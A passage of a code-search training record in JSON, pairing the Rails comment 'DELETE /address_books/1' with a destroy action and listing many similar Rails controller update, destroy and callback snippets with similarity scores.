:unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @book.update(book_params)\n format.html { redirect_to @book, notice: t('common.message.updated_success')}\n format.json { render :show, status: :ok, location: @book }\n else\n format.html { render :edit }\n format.json { render json: @book.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @book1.update(book1_params)\n format.html { redirect_to @book1, notice: \"Book1 was successfully updated.\" }\n format.json { render :show, status: :ok, location: @book1 }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @book1.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @person_address.update(person_address_params)\n format.html { redirect_to @person_address, notice: 'Person address was successfully updated.' }\n format.json { render :show, status: :ok, location: @person_address }\n else\n format.html { render :edit }\n format.json { render json: @person_address.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @note_book.update(note_book_params)\n format.html { redirect_to @note_book, notice: 'Note book was successfully updated.' }\n format.json { render :show, status: :ok, location: @note_book }\n else\n format.html { render :edit }\n format.json { render json: @note_book.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @address.update(address_params)\n format.html { redirect_to edit_company_path(@company), notice: 'Address was successfully updated.' }\n format.json { render :show, status: :ok, location: @address }\n else\n format.html { render :edit }\n format.json { render json: @address.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @businessbook = Businessbook.find(params[:id])\n\n respond_to do |format|\n if @businessbook.update_attributes(params[:businessbook])\n format.html { redirect_to @businessbook, :notice => 'Businessbook was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @businessbook.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @address_detail.update(address_detail_params)\n format.html { redirect_to @address_detail, notice: 'Address detail was successfully updated.' }\n format.json { render :show, status: :ok, location: @address_detail }\n else\n format.html { render :edit }\n format.json { render json: @address_detail.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @object_book.update(object_book_params)\n format.html { redirect_to @object_book, notice: 'Object book was successfully updated.' }\n format.json { render :show, status: :ok, location: @object_book }\n else\n format.html { render :edit }\n format.json { render json: @object_book.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @book = Book.find(params[:id])\n\n respond_to do |format|\n if @book.update_attributes(params[:book])\n format.html { redirect_to [current_user, @book], notice: 'Book was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @book.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @book = Book.find(params[:id])\n \n respond_to do |format|\n if @book.update_attributes_and_index(params[:book])\n flash[:notice] = 'Book was successfully updated.'\n format.html { redirect_to(@book) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @book.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n params[:book_shelf]['user'] = User.where(:id => params[:book_shelf]['user']).first\n params[:book_shelf]['book'] = Book.where(:id => params[:book_shelf]['book']).first\n @book_shelf = BookShelf.find(params[:id])\n respond_to do |format|\n if @book_shelf.update_attributes(params[:book_shelf])\n format.html { redirect_to @book_shelf, notice: 'Book shelf was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @book_shelf.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @book.update(book_params)\n format.html { redirect_to admin_book_url(@book), notice: 'Book was successfully updated.' }\n format.json { render :show, status: :ok, location: @book }\n else\n format.html { render :edit }\n format.json { render json: @book.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @twilio_book.update(twilio_book_params)\n format.html { redirect_to @twilio_book, notice: 'Twilio book was successfully updated.' }\n format.json { render :show, status: :ok, location: @twilio_book }\n else\n format.html { render :edit }\n format.json { render json: @twilio_book.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\r\n respond_to do |format|\r\n if @book.update(book_params)\r\n format.html { redirect_to @book, notice: 'Book was successfully updated.' }\r\n format.json { render :show, status: :ok, location: @book }\r\n else\r\n format.html { render :edit }\r\n format.json { render json: @book.errors, status: :unprocessable_entity }\r\n end\r\n end\r\n end", "def update_by_body\n @person = Person.find(person_update_params[:id])\n\n if @person.update_attributes(person_update_params)\n render json: { status: 'PUT Success' }, status: :ok\n else\n render json: { status: 'Error', message:'Error updating person', person: @person.errors }, status: :unprocessable_entity\n end\n end", "def update\n respond_to do |format|\n if @book.update(book_params)\n format.html { redirect_to [:admin, @book], notice: 'Book was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @book.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n flash[:success] = 'Your phone book has been updated.' if @phone_book.update_attributes(phone_book_params)\n respond_with @organization, @phone_book\n end" ]
[ "0.7075766", "0.70404154", "0.70404154", "0.6720292", "0.6526965", "0.6356401", "0.630233", "0.6225654", "0.62163633", "0.6206808", "0.61862224", "0.617918", "0.61743903", "0.6164094", "0.6156988", "0.61536145", "0.6149754", "0.61496717", "0.61496717", "0.61496717", "0.61496717", "0.61496717", "0.61496717", "0.61496717", "0.61496717", "0.61496717", "0.6147044", "0.61286014", "0.6128299", "0.61236155", "0.61236155", "0.61236155", "0.61236155", "0.6117339", "0.6113167", "0.61101824", "0.60828733", "0.60828733", "0.60828733", "0.60828733", "0.6081333", "0.6060217", "0.60595053", "0.60570186", "0.60456717", "0.6038377", "0.60295516", "0.6027742", "0.600931", "0.6004", "0.600369", "0.6003677", "0.60030454", "0.60025907", "0.60025907", "0.60025907", "0.60025907", "0.60025907", "0.60025907", "0.60025907", "0.60025907", "0.60025907", "0.60025907", "0.60025907", "0.60025907", "0.60025907", "0.60025907", "0.60025907", "0.60025907", "0.60025907", "0.60025907", "0.60025907", "0.60025907", "0.60025907", "0.60025907", "0.60025907", "0.60025907", "0.60025907", "0.6001599", "0.6001599", "0.5984758", "0.5984103", "0.59789073", "0.5969832", "0.5969183", "0.59584826", "0.5955829", "0.5955374", "0.59435964", "0.59387654", "0.59363246", "0.5932601", "0.59315807", "0.5931396", "0.5927079", "0.5925321", "0.5924091", "0.5924026", "0.5914981", "0.5913005" ]
0.66694844
4
DELETE /address_books/1 DELETE /address_books/1.json
def destroy @address_book.destroy respond_to do |format| format.html { redirect_to address_books_url, notice: '删除完成!Address book destroyed!' } format.json { head :no_content } end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def destroy\n @address_book.destroy\n respond_to do |format|\n format.html { redirect_to address_books_url, notice: 'Address book was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @address_book.destroy\n respond_to do |format|\n format.html { redirect_to address_books_url, notice: 'Address book was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def delete_address_book(address_book_id)\n end", "def destroy\n @address_book = AddressBook.find(params[:id])\n @address_book.destroy\n flash[:notice] = :address_book_deleted.l\n\n respond_to do |format|\n format.html { redirect_to(address_books_url) }\n format.xml { head :ok }\n end\n end", "def delete\n @carddav_backend.delete_address_book(@address_book_info['id'])\n end", "def destroy\n @address = Address.find(params[:id])\n @address.destroy\n\n respond_to do |format|\n format.html { redirect_to addresses_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @address = Address.find(params[:id])\n @address.destroy\n\n respond_to do |format|\n format.html { redirect_to addresses_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @address = Address.find(params[:id])\n @address.destroy\n\n respond_to do |format|\n format.html { redirect_to addresses_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @address = Address.find(params[:id])\n @address.destroy\n\n respond_to do |format|\n format.html { redirect_to addresses_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @address_book_item = AddressBookItem.find(params[:id])\n @address_book_item.destroy\n\n respond_to do |format|\n format.html { redirect_to(address_book_items_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @api_book.destroy\n\n head :no_content\n end", "def delete\n client.delete(\"/#{id}\")\n end", "def delete\n @address = Address.find(params[:address_id])\n end", "def destroy\n @billing_address = BillingAddress.find(params[:id])\n @billing_address.destroy\n\n respond_to do |format|\n format.html { redirect_to billing_addresses_url }\n format.json { head :no_content }\n end\n end", "def delete(path)\n RestClient.delete request_base+path\n end", "def destroy\n # @address = Address.find(params[:id])\n @address = Address.find_by_permalink!(params[:id])\n @address.destroy\n\n respond_to do |format|\n format.html { redirect_to(addresses_url) }\n format.xml { head :ok }\n end\n end", "def delete_elasticsearch_addressbase_data\n uri = URI.parse(\"#{$ELASTIC_SEARCH_ENDPOINT}/\")\n conn = Net::HTTP.new(uri.host, uri.port)\n request = Net::HTTP::Delete.new \"#{$ELASTICSEARCH_ADDRESSBASE}\"\n request['Content-Type'] = 'application/json'\n conn.request(request)\nend", "def destroy\n @book = Book.find(params[:id])\n @book.destroy\n\n respond_to do |format|\n \n format.json { render json: @book, status: :created, location: @book }\n end\n end", "def destroy\n @book = Book.find(params[:id])\n @book.destroy\n \n respond_to do |format|\n format.html { redirect_to books_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @address = Address.find(params[:id])\n @address.destroy\n\n respond_to do |format|\n format.html { redirect_to(:action=>'index') }\n format.xml { head :ok }\n end\n end", "def destroy\n @address.destroy\n respond_to do |format|\n format.html { redirect_to addresses_url, notice: \"Address was successfully destroyed.\" }\n format.json { head :no_content }\n end\n end", "def destroy\n @address.destroy\n respond_to do |format|\n format.html { redirect_to addresses_url, notice: \"Address was successfully destroyed.\" }\n format.json { head :no_content }\n end\n end", "def destroy\n @address.destroy\n respond_to do |format|\n format.html { redirect_to addresses_url, notice: 'Address was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n book = Book.find(params[:id])\n book.destroy\n \n render json: {}, status: 204\n end", "def destroy\n @ebooks.destroy :id\n respond_to do |format|\n format.html { redirect_to ebooks_url, notice: 'Ebook was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def delete(address)\n \tMailgun.submit :delete, list_url(address)\n end", "def destroy\n @book = Book.find(params[:id])\n @book.destroy\n\n respond_to do |format|\n format.html { redirect_to books_url }\n format.json { head :ok }\n end\n end", "def destroy\n @book = Book.find(params[:id])\n @book.destroy\n\n respond_to do |format|\n format.html { redirect_to books_url }\n format.json { head :ok }\n end\n end", "def destroy\n @book = Book.find(params[:id])\n @book.destroy\n\n respond_to do |format|\n format.html { redirect_to books_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @book = Book.find(params[:id])\n @book.destroy\n\n respond_to do |format|\n format.html { redirect_to books_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @book = Book.find(params[:id])\n @book.destroy\n\n respond_to do |format|\n format.html { redirect_to books_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @book = Book.find(params[:id])\n @book.destroy\n\n respond_to do |format|\n format.html { redirect_to books_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @book = Book.find(params[:id])\n @book.destroy\n\n respond_to do |format|\n format.html { redirect_to books_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @book = Book.find(params[:id])\n @book.destroy\n\n respond_to do |format|\n format.html { redirect_to books_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @book = Book.find(params[:id])\n @book.destroy\n\n respond_to do |format|\n format.html { redirect_to books_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @book = Book.find(params[:id])\n @book.destroy\n\n respond_to do |format|\n format.html { redirect_to books_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @book = Book.find(params[:id])\n @book.destroy\n\n respond_to do |format|\n format.html { redirect_to books_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @book = Book.find(params[:id])\n @book.destroy\n\n respond_to do |format|\n format.html { redirect_to books_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @book = Book.find(params[:id])\n @book.destroy\n\n respond_to do |format|\n format.html { redirect_to books_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @book = Book.find(params[:id])\n @book.destroy\n\n respond_to do |format|\n format.html { redirect_to books_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @user_address_book_item = UserAddressBookItem.find(params[:id])\n @user_address_book_item.destroy\n end", "def destroy\n @customers_address = CustomersAddress.find(params[:id])\n @customers_address.destroy\n\n respond_to do |format|\n format.html { redirect_to customers_addresses_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @address_customer = AddressCustomer.find(params[:id])\n @address_customer.destroy\n\n respond_to do |format|\n format.html { redirect_to address_customers_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @book = Book.find_by_sql(\"SELECT * FROM Books B WHERE B.id = \" + params[:id]).first()\n @book.destroy\n\n respond_to do |format|\n format.html { redirect_to \"/books\" }\n format.json { head :no_content }\n end\n end", "def destroy\n @post_address.destroy\n respond_to do |format|\n format.html { redirect_to post_addresses_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @businessbook = Businessbook.find(params[:id])\n @businessbook.destroy\n\n respond_to do |format|\n format.html { redirect_to businessbooks_url }\n format.json { head :no_content }\n end\n end", "def delete\n request(:delete)\n end", "def destroy\n @address_detail.destroy\n respond_to do |format|\n format.html { redirect_to address_details_url, notice: 'Address detail was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @book = Book.find(params[:id])\n @book.destroy\n\n respond_to do |format|\n format.html { redirect_to books_url }\n format.json { head :ok }\n end \n end", "def destroy\n @book.destroy\n respond_to do |format|\n format.html { redirect_to books_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @book.destroy\n respond_to do |format|\n format.html { redirect_to books_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @book.destroy\n respond_to do |format|\n format.html { redirect_to books_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @book.destroy\n respond_to do |format|\n format.html { redirect_to books_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @book.destroy\n respond_to do |format|\n format.html { redirect_to books_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @book.destroy\n respond_to do |format|\n format.html { redirect_to books_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @book.destroy\n respond_to do |format|\n format.html { redirect_to books_url }\n format.json { head :no_content }\n end\n end", "def delete path\n make_request(path, \"delete\", {})\n end", "def destroy\r\n @book = Book.find(params[:id])\r\n @book.destroy\r\n\r\n respond_to do |format|\r\n format.html { redirect_to books_url }\r\n format.json { head :no_content }\r\n end\r\n end", "def destroy\n @book = Book.find(params[:id])\n @book.destroy\n\n respond_to do |format|\n format.html { redirect_to user_books_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @address_record.destroy\n respond_to do |format|\n format.html { redirect_to address_records_url, notice: 'Address record was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\r\n @book = Book.find(params[:id])\r\n @book.destroy\r\n\r\n respond_to do |format|\r\n format.html { redirect_to books_url }\r\n format.json { head :ok }\r\n end\r\n end", "def destroy\n @title = \"Destroy Book\"\n\n # @book.destroy\n\n respond_to do |format|\n format.html { redirect_to books_url }\n format.json { head :ok }\n end\n end", "def destroy\n @book = Book.find(params[:id])\n @book.destroy\n\n respond_to do |format|\n format.html { redirect_to books_url }\n format.xml { head :ok }\n format.json { head :no_content }\n end\n end", "def destroy\n @address.destroy\n respond_to do |format|\n format.html { redirect_to edit_company_path(@company), notice: 'Address was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @ag_address.destroy\n respond_to do |format|\n format.html { redirect_to ag_addresses_url, notice: 'Address was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @shipping_book.destroy\n respond_to do |format|\n format.html { redirect_to shipping_books_url, notice: 'Shipping address inShipping book was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @user_address = UserAddress.find(params[:id])\n @user_address.destroy\n\n respond_to do |format|\n format.html { redirect_to user_addresses_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @ebook.destroy\n respond_to do |format|\n format.html { redirect_to ebooks_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @client_address.destroy\n respond_to do |format|\n format.html { redirect_to client_addresses_url, notice: 'Client address was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @book = Book.find(params[:id])\n @book.destroy\n\n respond_to do |format|\n format.html { redirect_to :back }\n format.json { head :no_content }\n end\n end", "def destroy\n @book.destroy\n respond_to do |format|\n format.html { redirect_to books_url, notice: 'Book was successfully deleted.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @book.destroy\n respond_to do |format|\n format.html { redirect_to books_url, notice: 'Book was successfully deleted.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @book_shelf = BookShelf.find(params[:id])\n @book_shelf.destroy\n\n respond_to do |format|\n format.html { redirect_to book_shelves_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @addbook = Addbook.find(params[:id])\n @addbook.destroy\n\n respond_to do |format|\n format.html { redirect_to(addbooks_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @contributor_address = ContributorAddress.find(params[:id])\n @contributor_address.destroy\n\n respond_to do |format|\n format.html { redirect_to contributor_addresses_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @book.destroy\n respond_to do |format|\n format.html { redirect_to books_url, notice: 'Book was successfully deleted.' }\n format.json { head :no_content }\n end \n end", "def destroy\n @address.destroy\n respond_to do |format|\n format.html { redirect_to addresses_url, notice: 'Form was deleted successfully!' }\n format.json { head :no_content }\n end\n end", "def destroy\n AuthorsBook.where(:book_id => @book.id).each do |ab| # destroy sharing links of this note\n ab.destroy\n end\n\n @book.destroy\n respond_to do |format|\n format.html { redirect_to books_url, notice: 'Book was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @book = Book.find(params[:id])\n @book.destroy\n \n respond_to do |format|\n format.html { redirect_to(books_url) }\n format.xml { head :ok }\n end\n end", "def do_delete(uri = \"\")\n @connection.delete do |req|\n req.url uri\n req.headers['Content-Type'] = 'application/json'\n end\n end", "def destroy\n @person_address.destroy\n respond_to do |format|\n format.html { redirect_to person_addresses_url, notice: 'Person address was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @book1.destroy\n respond_to do |format|\n format.html { redirect_to book1s_url, notice: \"Book1 was successfully destroyed.\" }\n format.json { head :no_content }\n end\n end", "def destroy\n @ebook = Ebook.find(params[:id])\n @ebook.destroy\n\n respond_to do |format|\n format.html { redirect_to ebooks_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @address.destroy\n respond_to do |format|\n format.html { redirect_to admin_path(current_user), notice: 'Address was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @readbook.destroy\n respond_to do |format|\n format.html { redirect_to readbooks_url, notice: 'Readbook was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def delete\n @addresses = Address.where(person_id: params[:id])\n @addresses.each do |c|\n Address.find(c.id).destroy\n end\n Person.find(params[:id]).destroy\n redirect_to :action => 'list'\n end", "def delete(url, headers={})\n RestClient.delete url, headers\n end", "def destroy\n @address.destroy\n\n render :nothing => true\n end", "def destroy\n @electronic_address.destroy\n respond_to do |format|\n format.html { redirect_to electronic_addresses_url }\n format.json { head :no_content }\n end\n end", "def delete\n url = prefix + \"delete\"\n return response(url)\n end", "def delete\n url = prefix + \"delete\"\n return response(url)\n end", "def delete!\n request! :delete\n end", "def destroy\n @ripple_address.destroy\n respond_to do |format|\n format.html { redirect_to ripple_addresses_url, notice: 'Ripple address was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @book.destroy\n head :no_content\n end", "def destroy\n @address = current_user.addresses.find(params[:id])\n @address.destroy\n\n respond_to do |format|\n format.html { redirect_to user_addresses_path(current_user) }\n format.json { head :no_content }\n end\n end", "def delete\n client.delete(url)\n @deleted = true\nend", "def destroy\n @book = current_user.books.find(params[:id])\n @book.destroy\n render json { head :no_content }\n end", "def destroy\n @address.destroy\n respond_to do |format|\n format.html { redirect_to root_path, notice: 'Address was successfully destroyed.' }\n end\n end", "def destroy\n @cook_book = CookBook.find(params[:id])\n @cook_book.destroy\n\n respond_to do |format|\n format.html { redirect_to cook_books_url }\n format.json { head :no_content }\n end\n end", "def delete()\n @api.do_request(\"DELETE\", get_base_api_path())\n end" ]
[ "0.74078155", "0.74078155", "0.71942306", "0.71695435", "0.7138133", "0.6975435", "0.6975435", "0.6975435", "0.6975435", "0.6936777", "0.6810096", "0.6809638", "0.679322", "0.67807364", "0.6771209", "0.6754308", "0.6743724", "0.6729169", "0.6715116", "0.6704836", "0.6703558", "0.6703558", "0.66984963", "0.6688602", "0.668563", "0.6684636", "0.66435486", "0.66435486", "0.664335", "0.664335", "0.664335", "0.664335", "0.664335", "0.664335", "0.664335", "0.664335", "0.664335", "0.664335", "0.664335", "0.664335", "0.66326505", "0.66308296", "0.6629704", "0.66279536", "0.662257", "0.66148275", "0.66126764", "0.6605944", "0.66040176", "0.658584", "0.658584", "0.658584", "0.658584", "0.658584", "0.658584", "0.658584", "0.65856236", "0.65668386", "0.65626746", "0.6559298", "0.65573144", "0.6545302", "0.65422964", "0.65240264", "0.65114677", "0.6505548", "0.6503468", "0.6502926", "0.6492071", "0.6485259", "0.6482838", "0.6482838", "0.64812523", "0.6480355", "0.6476212", "0.6476082", "0.64750266", "0.64686775", "0.64674735", "0.6464904", "0.6464361", "0.64618504", "0.6457482", "0.6452607", "0.6449712", "0.6443038", "0.6443017", "0.6441492", "0.6440044", "0.6437006", "0.6437006", "0.64322734", "0.64321953", "0.64284194", "0.6424212", "0.6420747", "0.641608", "0.6415403", "0.6397043", "0.6388427" ]
0.7303331
2
Use callbacks to share common setup or constraints between actions.
def set_address_book @address_book = AddressBook.find(params[:id]) end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def set_required_actions\n # TODO: check what fields change to asign required fields\n end", "def action_hook; end", "def run_actions; end", "def define_action_hook; end", "def actions; end", "def define_action_helpers\n if super && action == :save\n @instance_helper_module.class_eval do\n define_method(:valid?) do |*args|\n self.class.state_machines.fire_event_attributes(self, :save, false) { super(*args) }\n end\n end\n end\n end", "def add_actions; end", "def callbacks; end", "def callbacks; end", "def setup *actions, &proc\n (@setup_procs ||= []) << [proc, actions.size > 0 ? actions : [:*]]\n end", "def define_action_helpers; end", "def post_setup\n end", "def action_methods; end", "def action_methods; end", "def action_methods; end", "def before_setup; end", "def action_run\n end", "def execute(setup)\n @action.call(setup)\n end", "def define_action_helpers?; end", "def set_actions\n actions :all\n end", "def action_done(action)\n dispatch = { :migrate => :done_migrating, :map => :done_mapping, :reduce =>\n :done_reducing, :finalize => :done_finalizing } \n self.send dispatch[action[:action]], action\n end", "def dependencies action, &block\n @actions.each do |other|\n if action[:requires].include? other[:provide]\n block.call other\n end\n end\n end", "def setup!\n return unless @setup_procs\n http_actions = actions\n @setup_procs.each do |setup_proc|\n proc, actions = setup_proc\n @setup__actions = actions.map do |action|\n\n action.is_a?(Regexp) ?\n http_actions.select { |a| a.to_s =~ action } :\n action.is_a?(String) && action =~ /\\A\\./ ?\n http_actions.map { |a| a.to_s << action if format?(a).include?(action) }.compact :\n action\n\n end.flatten\n self.class_exec &proc\n @setup__actions = nil\n end\n @setup_procs = nil\n end", "def before_actions(*logic)\n self.before_actions = logic\n end", "def setup_handler\n end", "def set_action(opts)\n opts = check_params(opts,[:actions])\n super(opts)\n end", "def setup(action)\n @targets.clear\n unless action.item.target_filters.empty?\n @targets = SES::TargetManager.make_targets(action)\n else\n item = action.item\n if item.for_opponent?\n @targets = $game_troop.alive_members\n elsif item.for_dead_friend?\n @targets = $game_party.battle_members.select { |actor| actor.dead? }\n else\n $game_party.battle_members.select { |actor| actor.alive? }\n end\n end\n @item_max = @targets.size\n create_contents\n refresh\n show\n activate\n end", "def action; end", "def action; end", "def action; end", "def action; end", "def action; end", "def workflow\n end", "def revisable_shared_setup(args, block)\n class << self\n attr_accessor :revisable_options\n end\n options = args.extract_options!\n self.revisable_options = Options.new(options, &block)\n \n self.send(:include, Common)\n self.send(:extend, Validations) unless self.revisable_options.no_validation_scoping?\n self.send(:include, WithoutScope::QuotedColumnConditions)\n end", "def setup\n @action = SampleActionAndroid.new(os_name: 'android',\n app_name: APP_PATH)\n end", "def before(action)\n invoke_callbacks *self.class.send(action).before\n end", "def process_action(...)\n send_action(...)\n end", "def before_dispatch(env); end", "def after_actions(*logic)\n self.after_actions = logic\n end", "def setup\n # override and do something appropriate\n end", "def setup(client)\n return unless @setup\n actions = @setup['setup'].select { |action| action['do'] }.map { |action| Action.new(action['do']) }\n actions.each do |action|\n action.execute(client)\n end\n self\n end", "def setup(_context)\n end", "def setup(resources) ; end", "def validate_actions\n errors.add(:base, :should_give_at_least_one_action) if !manage? && !forecasting? && !read? && !api?\n end", "def setup\n @resource_config = {\n :callbacks => {\n :before_create => nil,\n :after_create => nil,\n :before_update => nil,\n :after_update => nil,\n :before_destroy => nil,\n :after_destroy => nil,\n },\n :child_assoc => nil,\n :model => nil,\n :parent => nil,\n :path => nil,\n :permission => {},\n :properties => {},\n :relation => {\n :create => nil,\n :delete => nil,\n },\n :roles => nil,\n }\n end", "def determine_valid_action\n\n end", "def process_shared\n handle_taxes\n handle_shippings\n create_adjustments_from_params\n handle_status\n handle_inventory_refunds\n handle_payment_transactions\n order.updater.update\n end", "def startcompany(action)\n @done = true\n action.setup\n end", "def init_actions\n am = action_manager()\n am.add_action(Action.new(\"&Disable selection\") { @selection_mode = :none; unbind_key(32); bind_key(32, :scroll_forward); } )\n am.add_action(Action.new(\"&Edit Toggle\") { @edit_toggle = !@edit_toggle; $status_message.value = \"Edit toggle is #{@edit_toggle}\" })\n end", "def event_callbacks(event, metadata={})\n case event\n when :reset, :review\n if confirmed\n update_attributes(confirmed: false)\n end\n when :confirm\n confirm\n # trigger :order for all applicable items\n # NOTE: :order event is common to both physical and digital items\n items.each do |i|\n if i.event_permitted(:order)\n user_id = last_transition.user_id\n i.trigger!(:order, { order_id: id, user_id: user_id })\n end\n end\n when :complete_work\n request = metadata[:request]\n work_complete_notification(request)\n when :close\n close\n end\n if event != :close && !open\n reopen\n end\n end", "def setup_action\n return unless PONY::ERRNO::check_sequence(current_act)\n new_sequence = @action_sequence[@sequence_index+1...@action_sequence.size]\n @sequence_index = 0\n new_sequence = DND::SkillSequence::ACTS[@acts[1]] + new_sequence\n execute_sequence\n end", "def define_tasks\n define_weave_task\n connect_common_tasks\n end", "def setup(&block)\n define_method(:setup, &block)\n end", "def setup\n transition_to(:setup)\n end", "def setup\n transition_to(:setup)\n end", "def action\n end", "def setup( *args )\n\t\t\tself.class.setupBlocks.each {|sblock|\n\t\t\t\tdebugMsg \"Calling setup block method #{sblock}\"\n\t\t\t\tself.send( sblock )\n\t\t\t}\n\t\t\tsuper( *args )\n\t\tend", "def config(action, *args); end", "def setup\n @setup_proc.call(self) if @setup_proc\n end", "def before_action \n end", "def setup_callbacks\n defined_callbacks.each do |meth|\n unless respond_to?(\"call_#{meth}_callbacks\".to_sym)\n self.class.module_eval <<-EOE\n def call_#{meth}_callbacks(*args)\n plugin_store.each {|a| a.call_#{meth}_callbacks(*args) } if respond_to?(:plugin_store) && plugin_store\n self.send :#{meth}, *args if respond_to?(:#{meth})\n end\n EOE\n end\n end\n end", "def action\n end", "def matt_custom_action_begin(label); end", "def setup\n # override this if needed\n end", "def setup\n\t\t\t\t\t\t# Do nothing\n\t\t\t\tend", "def setup\n\t\t\t\t\t\t# Do nothing\n\t\t\t\tend", "def action(options,&callback)\n new_action = Action===options ? options : Action.new(options,&callback)\n # replace any with (shared name/alias or both default) + same arity\n @actions.delete_if do |existing_action|\n ((existing_action.names & new_action.names).size > 0 ||\n existing_action.default? && new_action.default?) &&\n existing_action.required.size == new_action.required.size &&\n existing_action.optional.size <= new_action.optional.size\n end\n @actions = (@actions + [new_action]).sort\n new_action\n end", "def set_target_and_action target, action\n self.target = target\n self.action = 'sugarcube_handle_action:'\n @sugarcube_action = action\n end", "def after(action)\n invoke_callbacks *options_for(action).after\n end", "def pre_task\n end", "def setup(server)\n server.on('beforeMethod', method(:before_method), 10)\n end", "def add_actions\n attribute = machine.attribute\n name = self.name\n \n owner_class.class_eval do\n define_method(name) {self.class.state_machines[attribute].events[name].fire(self)}\n define_method(\"#{name}!\") {self.class.state_machines[attribute].events[name].fire!(self)}\n define_method(\"can_#{name}?\") {self.class.state_machines[attribute].events[name].can_fire?(self)}\n end\n end", "def init_actions\n @select_action = SelectAction.new\n @endpoint_mouse_action = EndpointMouseAction.new\n @move_action = MoveAction.new\n end", "def setup_signals; end", "def after_created\r\n return unless compile_time\r\n Array(action).each do |action|\r\n run_action(action)\r\n end\r\nend", "def after_created\r\n return unless compile_time\r\n Array(action).each do |action|\r\n run_action(action)\r\n end\r\nend", "def set_target_and_action target, action\n self.target = target\n self.action = 'sugarcube_handle_action:'\n @sugarcube_action = action.respond_to?('weak!') ? action.weak! : action\n end", "def initialize(*args)\n super\n @action = :set\nend", "def after_set_callback; end", "def setup\n #implement in subclass;\n end", "def lookup_action; end", "def setup &block\n if block_given?\n @setup = block\n else\n @setup.call\n end\n end", "def setup_action\n return TSBS.error(@acts[0], 1, @used_sequence) if @acts.size < 2\n actions = TSBS::AnimLoop[@acts[1]]\n if actions.nil?\n show_action_error(@acts[1])\n end\n @sequence_stack.push(@acts[1])\n @used_sequence = @acts[1]\n actions.each do |acts|\n @acts = acts\n execute_sequence\n break if @break_action\n end\n @sequence_stack.pop\n @used_sequence = @sequence_stack[-1]\n end", "def release_actions; end", "def around_hooks; end", "def save_action; end", "def setup(easy)\n super\n easy.customrequest = @verb\n end", "def action_target()\n \n end", "def setup\n 